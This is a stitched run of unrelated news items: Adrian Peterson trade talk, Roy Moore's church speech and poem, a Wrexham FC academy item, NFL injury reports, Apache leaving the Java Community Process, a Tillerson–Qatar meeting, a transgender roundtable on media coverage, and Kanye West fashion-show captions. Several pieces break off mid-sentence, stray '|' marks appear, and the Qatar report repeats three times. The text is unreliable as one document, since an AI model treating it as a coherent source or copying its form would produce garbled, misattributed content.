So who might be interested in trading for Peterson? The Dallas Cowboys — who just lost their own Pro Bowl running back, Demarco Murray, in free agency — and the Arizona Cardinals are two teams most commonly mentioned in reported trade rumors.
And what might his value be? Dominik believes that Peterson, even at age 30, is worth a first-round pick and a pair of second-rounders, but he doubts a team would be willing to up the ante that high. Both Corry and former Cleveland Browns GM Phil Savage said a second-round pick would be a more reasonable haul.
A decade or more ago, NFL teams would have jumped at the chance to trade a bunch of picks for one of the leading rushers in NFL history, like the Vikings did when acquiring Herschel Walker from Dallas in 1989. But the position has been devalued in recent years, and Peterson is a 30-year-old back who is owed $45 million over the next three seasons.
“It’s kind of a buyer-beware proposition for Peterson going forward,” Corry said. “But if there’s a running back that is going to defy odds, he’s it.”
Force his way out?
Still, the expectation is that the draft, which begins April 30, will come and go without Peterson being traded.
Peterson trade conspiracy theorists point to Spielman’s trading of wide receiver Percy Harvin two years ago after he said he wouldn’t. But that deal, which netted the Vikings a first-, a third- and seventh-round pick, was a brilliant football deal that the Seattle Seahawks, who traded Harvin away for a late pick last fall, wish they could have back.
It seems unlikely the Vikings will get a similarly lucrative offer, the kind that will convince them to send one of the greatest players in franchise history packing.
The question then would become whether Peterson reports to Winter Park for the team’s offseason workout program. The program is voluntary until the mandatory minicamp in June, the first time Peterson would be contractually obligated to show. In his occasional conversations with national media, he has not said whether he would hold out if it came down to it. But if he were to decide to dig his heels in and skip training camp, he could be fined $30,000 a day per the collective bargaining agreement.
If Peterson truly does want out, as his agent has suggested, would the cost be worth it?
Corry pointed to former NFL wide receivers Keyshawn Johnson and Terrell Owens as standout players who were disruptive enough to force their way out of one NFL city and into another. In both cases, interestingly, it was the Cowboys who paid them next.
“If you are a distraction, you can sometimes get what you want and a team will move you to eliminate that distraction,” Corry said.
Of course, money is usually the quickest way for a team to eliminate any uneasiness a disgruntled player is feeling. While Peterson’s salary cap hits continue to escalate over the life of his contract, there is no guaranteed money beyond this season. Perhaps Peterson and the Vikings could find a compromise by redoing his current deal to reduce future cap hits for the Vikings while giving Peterson guaranteed money and peace of mind beyond this season.
If not, the Vikings could find themselves back in a similar spot again next offseason.
First things first, the Vikings must finish navigating the present situation, one of the NFL’s trickiest in recent memory.
It seems likely the helmet that Peterson eventually tugs on next will still belong to the Vikings. We still don’t know that for sure, but we finally should soon.The man most likely to be Alabama’s next senator told his supporters late last week that rape, murder and child abuse are on the rise — and are so because of Americans’ lack of faith.
“We put ourselves above God, and in doing so we forgot the basic source of our morality,” he said at a Saturday church event in Decatur, Ala. “People are getting killed in the streets. Washington, D.C.? People are getting killed in the streets. Chicago has the highest murder rate you can imagine. All across our land we have child abuse, we have sodomy, we have murder, we have rape, we have all kind of immoral things happening because we have forgotten God.”
Moore later read one of his poems — about how America is falling apart.
Some choice lines:
“Babies piled in dumpsters, abortion on demand,
Oh, sweet land of liberty, your house is on the sand.”
“We’ve voted in governments that are rotting to the core,
Appointing Godless judges who throw reason out the door.
Too soft to put a killer in a well deserved tomb,
But brave enough to kill that child before he leaves the womb.
You think that God’s not angry, that our land’s a moral slum?
How much longer will it be before His judgment comes?”
The comments are in line with Moore’s normal stump speech, and show how heavy the religious conservative focuses on Christian morality in his message. That’s a feature, not a bug, of his candidacy in the heavily conservative, deeply religious state.
Violent crime has actually dropped dramatically over the last few decades, though it did tick up in the past few years.
He went on to defend his knowledge of other issues — including the Deferred Action for Childhood Arrivals program President Trump recently nixed, and he had no idea about until recently.
“I know about health care. I know these issues. |
something else.”
He added: “It’s important to pick what you want to do and do it. The added bonus of playing football at a high level and getting paid for it is a huge incentive.
“Wrexham FC is a fantastic club with passionate fans. To do something you want to do while gaining a qualification in another business is a fantastic opportunity. This is a really unique idea and if I was still playing I’d certainly be looking into it.”
Existing partners such as the Racecourse Community Foundation and Wrexham FC’s Centre of Excellence, and the involvement of former players such as Barry, Lee and Adam will ensure the ethos of the football club remains at the heart of the partnership, according to Glyndŵr’s Sports Manager Anna Marie Brown.
“All three of them have an association with Wrexham FC and understand that it is a club owned by the supporters,” she said.
“Importantly, everyone involved wants to make sure the next 150 years of this great football club’s future are spent here in Wrexham.”
For more information, and for players wanting to find out if they meet the criteria to join the Academy, Glyndwr are inviting people to email them on football@glyndwr.ac.ukDeMarco Murray holds the keys to the Cowboy's offense. Will he suit up Sunday against the Colts?
The NFL's leading rusher was in attendance for Thursday's practice just three days after undergoing hand surgery.
Murray's activities mirrored his work from Wednesday, with the running back participating in pass-catching drills before stepping aside as Lance Dunbar took first-team snaps, per ESPNDallas.com. Murray again wore protection over his surgically repaired hand, but he didn't shy away from holding the ball with both mitts.
Jason Garrett told reporters before practice that he expected Murray to do more in Thursday's session, but the Cowboys coach emphasized that "watching (results from) other games won't affect" whether Murray will play against Indianapolis. Garrett insisted the Cowboys would "make the right decision by (Murray) and by our football team."
Murray confirmed, per The Dallas Morning News, that he did more in practice Thursday, adding that he'll have the final say if he plays Sunday.
If Murray can't get healthy in time for Sunday, Dallas will lean on a less-than-stellar combination of Dunbar and Joseph Randle.
Other injuries we're tracking on this wondrous Thursday:
1. Broncos quarterback Peyton Manning only stretched at practice Thursday and left to receive treatment on his injured thigh, according to The Denver Post. Manning missed snaps against the Chargers late in the first half last week due to the injury, but returned in the second half.
2. Cam Newton took first-team reps on Thursday and looked "good," per Jonathan Jones of The Charlotte Observer. Ron Rivera told reporters he's not ready to name a QB starter against the Browns yet, but the head coach said Newton is on target to start.
3. Falcons wideout Julio Jones (hip) was not on the field for the beginning of Thursday's Falcons practice, per ESPN.com's Vaughn McClure. The good news for Atlanta is that Roddy White (knee) was in attendance ahead of Sunday's showdown with the New Orleans Saints.
4. Colts wideout T.Y. Hilton missed his second straight practice with the hamstring injury he sustained in Sunday's win over the Texans. We anticipate him playing against the Cowboys. Right tackle Gosder Cherilus (groin) also missed the session.
5. Patriots wideout Julian Edelman was back at practice after being limited Wednesday with the concussion he suffered in New England's Week 15 against the Dolphins.
6. Philip Rivers (back/chest) was on the field for the start of Chargers practice Thursday, per U-T San Diego, and looked good throwing the football. Rivers said Wednesday he expects to play Saturday vs. San Francisco.
7. Redskins quarterback Colt McCoy told NFL Media's Stacey Dales that he has a herniated disc in his neck. McCoy said it's an isolated injury -- not nerve related -- that he will recover from.
8. Green Bay Packers right tackle Bryan Bulaga didn't practice Thursday due to a concussion sustained against the Bills in Week 15. Running back Eddie Lacy was limited during the workout.
9. Frank Gore practiced Thursday and is on pace to play Saturday, Jim Harbaugh said at a news conference. The 49ers running back is moving through the concussion protocol after exiting the loss to the Seahawks.
10. Jaguars running back Toby Gerhart suffered a rib contusion Thursday night and was ruled out.
11. Jaguars defensive tackle Roy Miller suffered a meniscus injury in his knee last week against the Ravens and will require surgery, according to The Florida-Times Union.
The latest Around The NFL Podcast previews every Week 16 game and recaps the Jaguars' win over the Titans. Find more Around The NFL content on NFL NOW.The Apache Software Foundation (ASF) announced today that it is resigning from the executive committee of the Java Community Process (JCP), the governance body responsible for managing standards related to the Java programming language. The move is a response to Oracle's ongoing failure to comply with the intellectual property policies established by the JCP.
The heart of the issue is that Apache can't certify that its open source Java implementation—called Harmony—conforms with the Java language standards because Oracle refuses to supply the necessary test suites under a suitably open license. Oracle's position on the issue falls afoul of JCP policies, which stipulate that standards and other relevant materials must be freely redistributable and made available under terms that are conducive to enabling third-party open source implementations.
This conflict has been a subject of considerable friction for quite some time, because Sun similarly denied the ASF appropriate access to the test suite prior to Oracle's acquisition of the company. Oracle had initially sided with Apache in calling for the test suites to be published under open terms, but reversed its position after acquiring Sun. Oracle's approach to this issue suggested very strongly that the company would likely not be willing to fix any of the long-standing JCP governance problems that had arisen under Sun.
The ASF responded last month by calling for JCP members to block ratification of the next version of the Java standard as a means of protesting the governance issues. Their statement urging votes against the standard succeeded in raising awareness of the cause, but they didn't get enough support from the JCP executive committee, which voted to approve the Java Standard Edition 7 specification despite the ASF's pleas to block ratification. The ASF is now resigning from the governance body's executive committee, declaring that the JCP has failed as an open specification process.
"The Apache Software Foundation concludes that that JCP is not an open specification process—that Java specifications are proprietary technology that must be licensed directly from the spec lead under whatever terms the spec lead chooses; that the commercial concerns of a single entity, Oracle, will continue to seriously interfere with and bias the transparent governance of the ecosystem," the foundation declared in a statement.
Although other open source Java stakeholders and key members of the JCP executive committee have vocally criticized Oracle for its position on test suite licensing, they have opted to tolerate the governance problems in order to avoid further friction. One prominent example is IBM, which reluctantly discontinued its involvement in Harmony in favor of Oracle's own open source Java implementation.
Apache's departure is a serious blow to the JCP's credibility. Apache was a long-standing member of the JCP and has made substantial contributions to advancing the Java ecosystem. It's unclear what this move will mean for the many Java projects hosted by Apache.
Listing image by Original photo by Andreas KolleggerRex Tillerson meets with Qatari foreign minister over Gulf rift: Qatar’s Foreign Minister Sheikh Mohammed bin Abdulrahman Al Thani met with US Secretary of State Rex Tillerson on Tuesday.
This is the first meeting since Saudi Arabia, Bahrain, the UAE, and Egypt decided to cut diplomatic ties with Qatar earlier this month, accusing it of support for extremist groups – a claim Doha denies.
In a report by American news outlet, CNBC, Qatar’s foreign ministry said in a statement that Tillerson was working toward finding a solution to solve the issue at hand.
The statement added that Qatar’s foreign minister “insisted that others must be genuinely willing to negotiate and to present evidence to support their allegations and demands.”
Read More…
Related News: Mosul families stuck in last ISIS pocket as Iraqi forces continue battle. Read More…
Rex Tillerson meets with Qatari foreign minister over Gulf rift: Qatar’s Foreign Minister Sheikh Mohammed bin Abdulrahman Al Thani met with US Secretary of State Rex Tillerson on Tuesday.This is the first meeting since Saudi Arabia, Bahrain, the UAE, and Egypt decided to cut diplomatic ties with Qatar earlier this month, accusing it of support for extremist groups – a claim Doha denies.In a report by American news outlet, CNBC, Qatar’s foreign ministry said in a statement that Tillerson was working toward finding a solution to solve the issue at hand.The statement added that Qatar’s foreign minister “insisted that others must be genuinely willing to negotiate and to present evidence to support their allegations and demands.”Rex Tillerson meets with Qatari foreign minister over Gulf rift: Qatar’s Foreign Minister Sheikh Mohammed bin Abdulrahman Al Thani met with US Secretary of State Rex Tillerson on Tuesday.This is the first meeting since Saudi Arabia, Bahrain, the UAE, and Egypt decided to cut diplomatic ties with Qatar earlier this month, accusing it of support for extremist groups – a claim Doha denies.In a report by American news outlet, CNBC, Qatar’s foreign ministry said in a statement that Tillerson was working toward finding a solution to solve the issue at hand.Media depictions of trans culture seem more prevalent than ever, but off-key representations sensationalize and injure their subjects. It’s time to change that. Five transgender people discuss how.
In January of this year, Grantland published “Dr. V.’s Magical Putter,” an article ostensibly about a “scientifically superior” golf club invented by Dr. Essay Anne Vanderbilt. While researching the piece, the writer Caleb Hannan discovered Vanderbilt was a transgender woman, and decided to turn her heretofore secret identity into a central aspect of the story. Shortly after learning of Hannan’s intent, Vanderbilt committed suicide. Following the article’s publication, critics from both the LGBT and cisgender communities condemned Hannan and Grantland for their unacknowledged role in Vanderbilt’s death, as well as for perpetuating negative stereotypes of trans people. Grantland responded with sincere attempts to address their mistake: five days after the article’s publication, they simultaneously released a frank letter from editor-in-chief Bill Simmons and an editorial by ESPN writer and transgender woman Christina Kahrl. Grantland’s attempts to engage, however they were received, helped jumpstart the ongoing conversation about media portrayals of trans people we’ve seen playing out in news outlets all year.
The Grantland story is one example of how an ignorant approach or insensitively phrased question can compound existing prejudices and stereotypes outside the trans community, while also hurting those within it.
In an attempt to help mainstream audiences understand what the media is doing wrong—and right—in depicting members of the trans community, we contacted five transgender people, three women and two men across a range of ages and professions, to share their knowledge, opinions, and reactions.
Avery Edison is a comedian and humor writer from London. She has written extensively about her experiences as a transgender woman for The Bygone Bureau.
Fallon Fox is the first openly transgender mixed martial artist in the history of the sport.
David Guitman is a high school student and aspiring journalist.
Micah is a vocal advocate and educator within the transgender community, presenting at conferences, workshops, and panels across the country. He writes at neutrois.me, where he documents his non-binary transition.
Joan Roughgarden is an evolutionary biologist and ecologist at the University of Hawaii and Stanford University. Her book Evolution’s Rainbow: Diversity, Gender, and Sexuality in Nature and People received the Stonewall Prize for nonfiction from the American Library Association.
Special thanks to Nicole Pasulka.
Can you explain what the media does wrong when it reduces the trans experience to a female-to-male (FTM) or male-to-female (MTF) transition? Is there a way to use these terms correctly, or should they be avoided?
Guitman: The media tends to portray the transition as one single procedure, giving the wrong idea about what being transgender is all about. It is a lifelong process and is not only a physical change, but a mental and social change as well. It is a transition into becoming the person you have always been internally, and matching that with your physical self. This takes time.
While the terms MTF and FTM are useful in providing clarity to others, they aren’t always OK to use. It’s always best to ask the person whether they mind being referred to as FTM or MTF, or whether they prefer to self-identify as a man, woman, or any other gender on or off the spectrum. For some, the terms FTM or MTF could be traumatic or bring up a past they don’t want to remember. Many also say these terms are inaccurate, because, for example, a so-called “FTM” was never really female in the first place. Others take pride in these terms, and like to be referred to as FTM or MTF because it represents their trans identities and shows how far they’ve come. I think the media just needs to understand that transgender or not, we are all different people with wide-ranging preferences and opinions.
Roughgarden: The word “transition,” as used by the media and as implied by the question, focuses on the physical aspects of a gender change, especially surgical procedure to alter genital anatomy. This anatomical definition unfortunately misses the point. The “transition” is the event at which a person publicly declares their identity. This is the transgender counterpart of “coming out” for gays and lesbians. It is a traumatic moment, usually associated with loss of job, family, and friends.
Actually, rather little in a transgender person’s transition involves medical changes to one’s anatomy. Transgender people often spend years preparing socially for their transition and, after their transition, must grow up and quickly mature in their new gender. And then they have to make a life with that identity like anyone else; find a job, find a spouse, relocate, deal with family, etc.
I don’t blame the media too much for their preoccupation with medically supervised anatomical changes because the therapy community is also preoccupied with this, especially genital modification. The media turns to therapists for information on transgender people, rather than to transgender people themselves.
Therapists make a big deal of SRS (sex reassignment surgery), issuing letters to authorize the procedure. But other anatomical changes are more important and manifest. The goal of a surgical transition, if one is pursued, is to help an individual effectively settle into their identity. The media, often echoing the biases and special interests of the therapy community, simply misses the point.
The gender binary is the idea that there are only two distinct sexes and/or genders: male and female. This is false. In fact, gender (as well as sex), is a spectrum.
Edison: I don’t think the media is incorrect to use those terms, as we still need the clear distinctions they provide. I meet people who hear the term “transwoman” and (incorrectly) think it means a woman becoming a man. “Female-to-male” and “male-to-female” may seem clunky or extraneous to those of us who are familiar with terms like “transman,” but I think that if we are to educate, we need to start from a place of understanding, rather than using terms that may needlessly confuse or come across as jargon.
Fox: Those terms are well known, widely used, and promoted by transgender people themselves. They should be used because if we don’t have a focal point to start from, we won’t know what we are talking about when we are referencing transgender people that wish to, are currently, or have physically transitioned. Even with a transgender individual who does not transition, we need something to reference. So, let’s say we have a trans person who was born physically male whose gender is female, but does not wish to physically transition in any way (which is rare). She is not physically transitioning, and her brain did not go from male to female (MTF). Her brain, which is actually her, was always female. However, we need to call her state of affairs something because without it, verbally, she falls within the cisgender male category. We could always come up with a new term to fit this description for non-transitioning trans women. That would require that they voice their concern over this, which, to my knowledge, they have not. But, if they ever do, an effort should be made to refer to them as they wish. The same goes for genderqueer people who fall within the transgender category. FTM, MTF, and Genderqueer are the current acceptable terms in these regards.
Micah: Strictly speaking, those terms are accurate and they are still used within the community. However, there are two issues with them.
It is always best to use a person’s preferred gender term according their present identity, whether this is a transwoman, a woman of transsexual history, a transgender man, or a non-binary or genderqueer person.
The last terms lead us to the second issue: FTM and MTF do not include people who identify outside of the gender binary. Simply put, the gender binary is the idea that there are only two distinct sexes and/or genders: male and female. This is false. In fact, gender (as well as sex), is a spectrum. Similar to how a transman does not feel like female is their gender, and how a transwoman feels male isn’t right for them, non-binary people, such as myself, feel like neither “male” nor “female” reflect their inner gender identity.
While stories about non-binary (also referred to as genderqueer) people are gaining traction, I have yet to see attention devoted to these stories in mainstream media.
In interviews earlier this year, both Katie Couric and Piers Morgan were focused on the “coming out” aspect of the transgender experience. Do you think there is any value in continuing to tell this narrative?
Fox: I believe that there is value in telling our “coming out” stories, but only when we decide to tell them and on our own terms. What Piers Morgan did was attempt to package and frame Janet Mock’s story as “Look here! We have a woman who used to be a man!” But Janet has always been a woman in her mind. Katie Couric’s interview with Carmen Carrera ended up coming off as less of a “coming out” story than an attempt to reach into Carmen’s pants. Both ways of packaging and framing the transgender narrative must change, as both seek to sensationalize the transgender body and are not viable modes for the future transgender representation.
Guitman: I haven’t seen the interviews, but I do have a comment on the value of transgender “coming out” stories. Many trans identified people must come out to themselves as well as to others. This personal coming out process is part of coming to terms with your identity and accepting who you are. Many people often don’t realize that a transperson has as much, if not more, trouble getting used to the identity change as they do. “Coming out” often leads to difficult conversations with people close to us—an experience to which many non trans identified people can relate. In this way, it is valuable; it can make the experience more accessible to others.
Any discussion about the process of introducing the world to a hidden part of you should be handled sensitively, not as titillation.
Edison: “Coming out” narratives are useful tools for introducing unfamiliar audiences to the struggles non-normative people face. “Coming out” stories help generate empathy and have played an important part in the wider recognition of the humanity of queer people.
That said, questions about the transgender “coming out” process can so often be motivated by prurient interest; interviewers can be looking to play up the shock factor of a revelation. I think any discussion about the process of introducing the world to a hidden part of you should be handled sensitively, not as titillation.
Roughgarden: In my view the coming out narratives of transgender people are pretty well documented already and, except in detail, they seem very similar to one another. The therapist Mildred Brown’s book, True Selves, recorded the narratives of her clients, mostly from the Bay Area. I can still recall the pride with which her clients stated that she heard them and truthfully recorded their experience. I’m sure it’s an exaggeration to assert that “Millie said it all,” but I see little news value in reporting the details of yet another transgender “coming out” narrative.
Micah: How do you reach out to those who haven’t realized they’re trans yet? Since it is impossible to research something you’re technically not aware of yet, I tend to be curious about the process leading up to this moment.
That’s why I often ask people, “When did you start putting things together,” or, “How did you find out that transgender people even exist?” By a long shot, the most popular answer is: the media. Often a talk show, news article, or radio show caught their attention and got their wheels turning until eventually they realized, “That’s me.” So however imperfect these media appearances are, I do believe there is some value in sharing the “coming out” aspect of someone’s journey, as it helps people see themselves reflected, perhaps for the first time, and connect with the interviewees’ experience.
That said, acknowledging you are transgender is only the beginning. Going through all the transition steps one wishes to (which is a highly individualized process) can take many years and may continue indefinitely. Being trans is not something you “take care of” and forget about. I’d love for the media to highlight the unique challenges faced even post-transition. You should hear the stories people tell at conferences, ranging from scary struggles to hilarious mixups.
Moreover, the very phrase “coming out” can have a myriad of meanings: from coming out to yourself, to your family, to your co-workers, doctors, acquaintances, friends on Facebook. The media frames it as something you do once, but in reality you come out over and over and over throughout your life.
For trans people, coming out has the added layer of disclosure. It’s really not anyone’s business what is or isn’t in my pants, so whether to disclose is a personal decision one makes with each acquaintance. Some prefer to not divulge their trans history to anyone, treating it as a private medical matter. Others disclose only to their close circles, while others are completely open about it. In general, most people have mixed disclosure depending on circumstances and how comfortable and safe they feel in that environment, and how they think others will react, especially when disclosing may cause others to suddenly treat them differently.
What do you think of the way that Grantland—which published both a straightforward apology from Bill Simmons, the editor-in-chief, as well as a piece criticizing its editors for their treatment of “Dr. V.’s Magical Putter”—handled their mistake? Is there anything you think they should have done differently?
Fox: I was appalled when I read the “Dr. V’s Magical Putter” story. So much so that I wrote an op-ed for Time magazine when it happened. It was clearly a sensationalized and unempathetic piece that was aimed at using the plight of a transgender woman for page views. Grantland dug deep in order to “get the goods” on that poor woman and it ended tragically. They could have left the transgender part out, or just dropped the story altogether to save someone unnecessary grief. In their minds, however, Dr. Vanderbilt might have “had it coming” since she had lied about her past. This whole “Caught you! You were lying! You used to be a man!” framing that the media often uses is a separate issue that also needs to be tackled.
Roughgarden: I was unfamiliar with the tragic circumstances surrounding the Grantland essay. I have now read the essay, the apology, and the editorial.
Having Grantland personnel talk to transgendered people is a waste of time. My advice would be to transgendered people in the future to have nothing to do with them. Stay away from them just like we watch out for other media outlets that aim to profit by sensationalizing our lives.
I skimmed the Grantland essay by Caleb Hannan. I found its tone annoying and would not have read the article if I hadn’t been requested to do so. It has the tone of a sensationalistic exposé I would expect from the magazines on display at the supermarket checkout counter. It’s nothing but a hatchet job.
As the editorial by Christina Kahrl pointed out, while the magazine made many mistakes, Dr. V. herself made a mistake in trying to live as a transwoman in stealth. The desire to go stealth is usually born of deep shame and self-disappointment. People who are trans, like those who are gay or lesbian, often try very hard to avoid being as they are. When they eventually succumb to realizing their identity, they are deeply ashamed of themselves and disappointed with themselves that they couldn’t, after trying ever so hard, live a false life. But stealth is not the answer, self-respect is. If therapists really want to be useful, promoting the self-respect of their clients is where they could help.
The apology by Bill Simmons is astonishingly naive. How could he possibly think that Hannan was writing a simple piece of investigative reporting, happened to stumble on Dr. V’s transgender background, and then made an honest mistake by including an irrelevant detail in his article? I think Simmons is complicit and that his account of the matter is disingenuous. It looks to me like Hannan was put up to it. Simmons wanted a sensationalist exposé, and the transgender stuff just got folded into it.
What should Grantland have done differently? If Grantland is basically just a sports tabloid, which is my impression, then having Grantland personnel talk to transgendered people is a waste of time. My advice would be to transgendered people in the future to have nothing to do with them. Stay away from them just like we watch out for other media outlets that aim to profit by sensationalizing our lives.
Edison: I found the apology from Grantland oddly distancing. Simmons focuses on how the organization had failed the writer of the piece, which came off as callous to me, considering the much larger failure to the subject of the piece. I also thought the use of the second-person in the list of, to paraphrase, “Things the transgender community would have told us if we had asked them to read this article before publication” mitigated the validity of his points and read as a way to acknowledge failures without actually taking responsibility for them.
What could they have done better? Many times in the apology, Simmons says that Grantland should have consulted with representatives of the transgender community before publishing the original article and I think that’s something the site should have also done with its apology. Simple questions such as, “What do we need to apologize for?” and, “What would an effort to make amends look like?” could have resulted in a much more meaningful mea culpa.
I understand, though, that the every member of staff involved was taken by surprise, completely unaware that they had been involved in something so upsetting and damaging. The biggest failure of all is one of culture: that some of our best reporters simply don’t know enough about transgenderism to write stories involving transgender people, and specifically those who wish to keep that part of themselves private.
Earlier this year, Alec Baldwin and RuPaul were criticized for using the word “tranny.” In your opinion, is “tranny,” like “fag” or “slut,” a word that can—or should—be actively reclaimed?
Fox: For the life of me I cannot understand how everyone recoils when slurs are used against other minority groups, and yet when it comes to slurs against us, we are expected to sit back and let them float by without raising an eyebrow. It just goes to show how many supposed transgender allies do not value the transgender experience as much as they value their own or others’. And while some may want to reclaim the “T” word, just as some of African-Americans want to reclaim the “N” word, the majority of transgender people don’t want to reclaim the “T” word, just as some African-Americans don’t want to reclaim the “N” word.
One day perhaps the “T” word can be reclaimed. But that would require transgender people not being upset by the word because of the history of violence and discrimination attached to it. When all transgender people can walk down the street, and hear “Hey Tr*nny!” from cisgender people, and all transgender people are comfortable with that, then it will be an OK thing to do. But not before then. Until then, the only ones who should say or hear it are transgender people who actively promote themselves as the “T” word.
When all transgender people can walk down the street, and hear “Hey Tr*nny!” from cisgender people, and all transgender people are comfortable with that, then it will be an OK thing to do. But not before then.
What’s more, if those who use the word with hurtful intentions see that transgender people are trying to “own the word,” they will likely do one or both of the following: 1) They will keep saying it with contempt; or 2) find another word to call us.
Edison: I detest the word “tranny,” and I don’t partake in the effort to reclaim it. The transgender community, though, is divided, and I accept that there are people who are proud of the word and want to own it. I have no problem with other transgender men, women, and non-binary individuals using the word, as long as they identify with it in a positive manner.
The reclamation of words is difficult when the words themselves have no history of being used in a positive way, but I will have to trust the judgment of my brothers and sisters who feel otherwise.
What I cannot brook are instances of non-transgender persons using the word. Alec Baldwin is a blowhard, so I expect no better of him (although I absolutely believe we as a community were due an apology). RuPaul, however, should know better. “Transgender” is an umbrella term which includes drag performers, but that umbrella does not entitle Paul to reclaim a slur used most aggressively and harmfully against the non-drag contingent of the transgender community. RuPaul should be held to a higher standard specifically because he is seen as a figurehead for LGBT people, and for him to be so callous with such a demeaning and hurtful word is disappointing.
Guitman: I would just like to echo Avery’s sentiment that these labels, along with many others, vary by context and need to be used with great caution. While I think a term like “tranny” can be deployed without harming an individual, words like “tranny” (and “fag” and “slut”) should probably never be used when referring to a crowd, as it would take on a derogatory meaning, and some in the crowd might not be comfortable with the label.
Roughgarden: My reaction to the Alec Baldwin essay is that he’s a narcissist, clearly into himself. The way he referred to an “F to M tranny” is just part of his shock-jock style. I’d leave him be. He’s got issues.
I’m indifferent to whether “tranny” should be reclaimed. It’s all context. I’ve heard blacks use the “N” word to one another, along with ho, etc. Tranny could be used in hate or in love. Context.
What is your perspective on Jean-Marc Vallée’s decision to cast Jared Leto as an HIV-positive transgender woman in Dallas Buyers Club? What about his representation of a trans woman in the film?
Edison: I think it is vitally important to cast actual transgender actors in transgender roles. The experience of being a transgender person has not become widely understood enough to allow for an authentic and respectful performance from a non-trans actor. We also owe it to the many wonderful transgender performers who are out there to give them these roles—after all, it’s not as if they’re regularly getting cast in non-trans roles.
Fox: As I wrote in Time, I am quite sure that Jared Leto did his best at portraying exactly what Jean-Marc Vallée wanted in the film. I don’t blame Jared Leto as much, as it is his job to take the script that’s given to him and play it out. At no point have I been under the impression that it was Leto’s objective to conjure up yet another stereotypical role of a downtrodden transgender character for sensationalist reasons. That was, however, the job of Jean-Marc Vallée, and it is one he executed masterfully.
Roughgarden: I found the movie to be disappointing. Jean-Marc was portraying a drag queen, not a transgendered woman. I liked To Wong Foo better.
Most of the recent media coverage I have cited above has involved transgender women rather than transgender men. Why do you think this is the case? Would you say transgender men are facing different biases in the media?
Edison: A superficial reason transgender men have traditionally been a more ignored group in terms of public awareness is that they often “pass” more successfully than transgender women, so they can often seem invisible in society.
But cultural bias also plays a huge part. Our patriarchal culture places men above women, so society has often dismissed transmen with ideas like, “well of course girls want to be guys—men are much better.”
As I was growing up and dealing with my gender identity issues, I could at least see depictions of MTF people, and identify with them. I don’t think the same can be said for transgender men. Everyone should be able to see themselves represented.
The idea of a man becoming a woman, though, is abhorrent to this misogynistic society, so there is a much greater history of maligning the people who transition this way. Attention is purposefully put on them, and toxic stereotypes such as the “man in a dress” or “deceptive tranny” percolate into the zeitgeist as a cultural punishment for going against the sexist grain.
So yes, the media biases transgender men face are different than those faced by transgender women. We transwomen suffer being represented as broken, pathetic, ugly, deceptive, or hyper-sexualized, whereas transmen suffer through not being represented at all.
I know that as I was growing up and dealing with my gender identity issues, I could at least see depictions of MTF people, and identify with them. I don’t think the same can be said for transgender men, which is an undue hardship. Everyone should be able to see themselves represented.
Guitman: I agree with Avery’s answer. “Passing” definitely plays a huge role with public representation of trans people. There is a saying, “Trans men pass in the streets, and trans women under the sheets.” This saying implies that trans men are often mistaken for younger men/boys (depending on which medical procedures they have decided to pursue), while trans women as “drag queens” or a “man dressed as a woman.” This distinction exists because of the irreversible changes that trans women experience with the onset of physical male puberty, such as the deepening of the voice or the broadening of shoulders. Since these characteristics are usually quite noticeable, it can make it more difficult to pass in public. In contrast, most changes trans men experience during physical female puberty are reversible.
With “under the sheets,” the saying is also referencing the fact that, thus far, surgical procedures for trans women have proved more successful than surgical procedures for trans men.
Roughgarden: Two issues intersect with respect to the difference in how the media portrays transgendered men and women: misogyny and passing. Some of the antagonism shown by the media against transgendered women is simply misogyny, which is given a free pass when directed to transgendered women who are generally unempowered to fight back. In addition, transgendered men pass extremely well. Testosterone lowers the voice, brings male-pattern baldness, and facial hair. Transgendered men are difficult to read. Transgendered women, especially if they transition post-puberty, are much easier to read, based on height and voice. Depending on where they are in their post-transition adjustment, their choice of apparel might them conspicuous too. So transgendered women make a much bigger target than transgendered men. The result is that transgendered men come to enjoy male privilege, their views are automatically considered central, whereas transgendered women’s views, like those of other women, are often discounted and considered peripheral.
Micah: If you think of the fact that women’s rights is still a hotly debated topic, you can imagine that gender biases and gender politics absolutely play a significant role in the different ways that transwomen and transmen face visibility, stigma, and discrimination.
I think one factor could be the recent rise of high-profile transwomen such as Janet Mock and Laverne Cox. They not only excel at their profession, but are extremely eloquent, fantastically delivering their story while at the same time pushing for awareness of broader topics relevant to the transgender community.
There have been a handful of transmen who have reached this level of mainstream exposure in the past, such as Chaz Bono. I personally know many transmen who are outstanding role models, doing trailblazing work to advance trans rights and support the community, who would make fantastic spokespeople. Some have already had their share of mainstream exposure (just look up Ryan Sallans or Aidan Key).
I think it depends on who is “hot” right now (whether they just wrote a book or appeared on a TV show) but also who purposefully places advocacy issues at the forefront and manages to maintains relevancy. Somehow though, the media loses interest if they are not a celebrity.
Fox: The answer to this is simple: Transgender women are scarier to the general population. Many cisgender men don’t feel threatened by what they view was a woman in their spaces, while cisgender women often do feel threatened by trans women, whom they view as male, in their spaces—especially bathroom spaces. Most cisgender men do not fear rape, violence, or potential “advantages” in sports from transgender men. The media therefore chooses to focus on transgender women as a way of stoking the fires of controversy and sensationalism. This would all be a different story if the media were interested in portraying the realities of transgender people so as to promote their positive welfare.
What do people miss or get wrong when they include transgender stories and issues under the LGBT umbrella? Do you feel LGBT as a category is useful?
Guitman: The acronym LGBT has both its pros and cons. It creates a connection between those identifying under L, G, B, or T, but not always an accurate one. Lesbian, gay, bisexual and transgender identified people can relate to each other in some ways because they are minorities, who must go through the “coming out process.” However, this label often confuses people who don’t understand what it means to be transgender, leading them to think |
One champ Lewis Hamilton was another showbiz addition to the show
Flawless! The Crazy In Love singer certainly stood out from the fashion crowd
They've been posing, they've been posing: Backstage Jay and Bey looked every inch the stylish couple
He can certainly draw a crowd! Kanye managed to pull out some huge names - of course, including his wife Kim - for his Adidas Originals show
Getting inspiration: Pop singer Rihanna was seen front row at the Kanye West show
Showing off her own style: Rihanna also took the time to pose wearing her interesting denim ensemble
Doing her research: Rihanna appeared to be concentrating very closely on what was being shown on the runway
Catching up: Rihanna and Jay were no doubt chatting about their pal's new clothing line for Adidas Originals as they mingled on the front row
Kanye's collection for Adidas Originals was shown during the first day of New York Fashion Week, and it was certainly an eye-catching display.
The models, of which there were 50, were clad in sheer body stockings and camouflage jackets, all which his wife Kim has been seen wearing of late.
And, in typically Kanye West style, the show - which was held at a large, airy industrial space in Manhattan - the show opened with a pre-recorded monologue from the man himself.
Nothing butt fashion! Kim flashed her famous backside as she left the venue after the show
Off to celebrate? The curvaceous reality TV star was joined by her rapper-turned-fashion pro husband as they presumably went on to celebrate the fashion launch
Intimate hug: Kanye kept hold of his wife as they emerged from the Manhattan venue together
